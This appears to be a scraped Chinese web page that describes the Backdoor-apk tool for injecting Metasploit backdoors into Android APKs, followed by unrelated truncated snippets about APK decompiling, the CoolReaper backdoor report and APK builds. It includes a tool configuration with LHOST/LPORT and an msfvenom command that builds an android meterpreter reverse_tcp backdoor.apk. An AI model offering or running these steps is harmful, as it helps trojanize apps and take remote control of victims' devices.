Backdoor-apk可以看成是一个shell脚本程序，它简化了在Android APK文件中添加后门的过程。安全研究人员在使用该工具前应该对Linux、Bash、Metasploit、Apktool、Android SDK 、smali有所了解，同时原作者表示该工具仅仅供研究和学习使用。
制作好的apk文件应该在original/dist目录下找到，将其安装在测试设备上，然后设置好IP以及端口再利用meterpreter 进行测试。
介绍内容来自 FreeBuf
注意
如果在Kali里面运行还需要安装兼容库
apt-get install lib32stdc++6 lib32ncurses5 lib32z1
配置
在出现问题时可更新下面配置信息
MSFVENOM=msfvenom LHOST="10.6.9.31" LPORT="1337" APKTOOL=apktool2 MY_PATH=`pwd` ORIG_APK_FILE=$1 RAT_APK_FILE=Rat.apk LOG_FILE=run.log
-
近期发现网上许多apk反编译工具反编译apk失败，纠结了半天，发现大多数apk反编译工具的上架时间都比较早，大都是11年、12年，无论任何的反编译工具布局文件的反编译都是基于apktool的工具，但是由于android adt的不断更新、迭代，导致2.0以前版本的apktool反编译失败，解决办法就是讲apktool 升级到新版本。 jar 地址及反编译的命令在以下网址：http://do
-
近期反编译修改一个APK，系统级别的应用程序。但回编时，出错了。这就奇怪了，之前一直回编成功了无数次。 再尝试反编译后，不作任何修改直接回统。同样出错，看来找到问题了。详细看编译日志 compiling smli.... compiling res..... Error... （具体不记得了，仅凭回忆而已） 回编资源文件时发生的错误.这时你只要换一个"framework.res.apk",再重新编
-
瘦蛟舞 · 2014/12/19 15:42 注：译文未获得平底锅授权，纯属学习性质翻译 原文：www.paloaltonetworks.com/content/dam… 综述 宇龙酷派是中国第三大以及全球第六大智能手机生产厂商。最近我们研究发现许多高端酷派手机在预装软件均包含一个后门程序，我们将此后门称为：CoolReaper 在看到许多酷派用户反馈手机上的可疑现象后，我们下载了多个中国区发行的
-
Android,apk制作方法 1、msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=192.168.2.248 LPORT=55556 R > backdoor.apk 2、keytool -genkey -v -keystore my-release-key.Keystore -alias android_
-
2.6.1.APK 文件 每个应用都是一个 APK 文件（表示Application PacKage，应用程序包 ）。一个 APK 文件基本上由三个部分组成。它包括了所有的 Dalvik 代码（ Java 源文件可以自动编译成 Dalvik 代码）和所有的资源（也就是除了代码以外的部分，例如图像文件和布局文件）。另外它可能还会包含一些本地库。 Dalvik 代码:由你的 Java 文件编译而来的
-
这是一个使用gradle的Android应用程序。点击运行后，我找到了APP_V1。3.4_2016-02-22
-
我想知道如何构建我的APK，以便在安装APK时在下安装/复制我的库。 > 我正在使用Android Studio 4.0.1 我构建了一个APK，并在提取它时确认我有一个文件夹，其中包含我的jni库。 我希望在安装APK之后，同一设备上的一些其他应用程序可以访问我在中的库。文件夹似乎是合适的位置，因此我的问题；如果有另一种方法可以让我的库在设备上访问，我是开放的。 基于此讨论，我在文件中设置了，尽
-
注意： 该章节的内容均为直译，由于个人测试的结果跟文章说的内容存在差异，所以并不确定字里行间的真正意思。如果存疑，请结合官网原文阅读。 当 instrumentation 测试用例运行时，main APK 与 test APK 共享相同的 classpath。如果 main APK 与 test APK 使用相同的库（例：Guava）但版本不同的时候，Gradle 将会构建失败。如果 Gradle
-
我正在处理APK扩展文件，我查看了以下链接： 1）创建APK扩展文件的步骤 2)http://ankitthakkar90.blogspot.in/2013/01/apk-expansion-files-in-android-with.html 我已经从path sdk path/extras/google导入了market_许可、play_apk_扩展 play_apk_扩展包含三个项目down
-
首先，当你的手机上有应用程序，并且这个应用程序在play store上有更新时，google只返回更新的部分代码而不是整个包（例如3毫克而不是8毫克，这是整个包的大小）。我研究并发现，在android端，google play提取本地应用程序并合并从play store下载的更新文件，生成新的apk，然后安装新的apk和更新。假设play store没有apk keystore来签署新的apk，但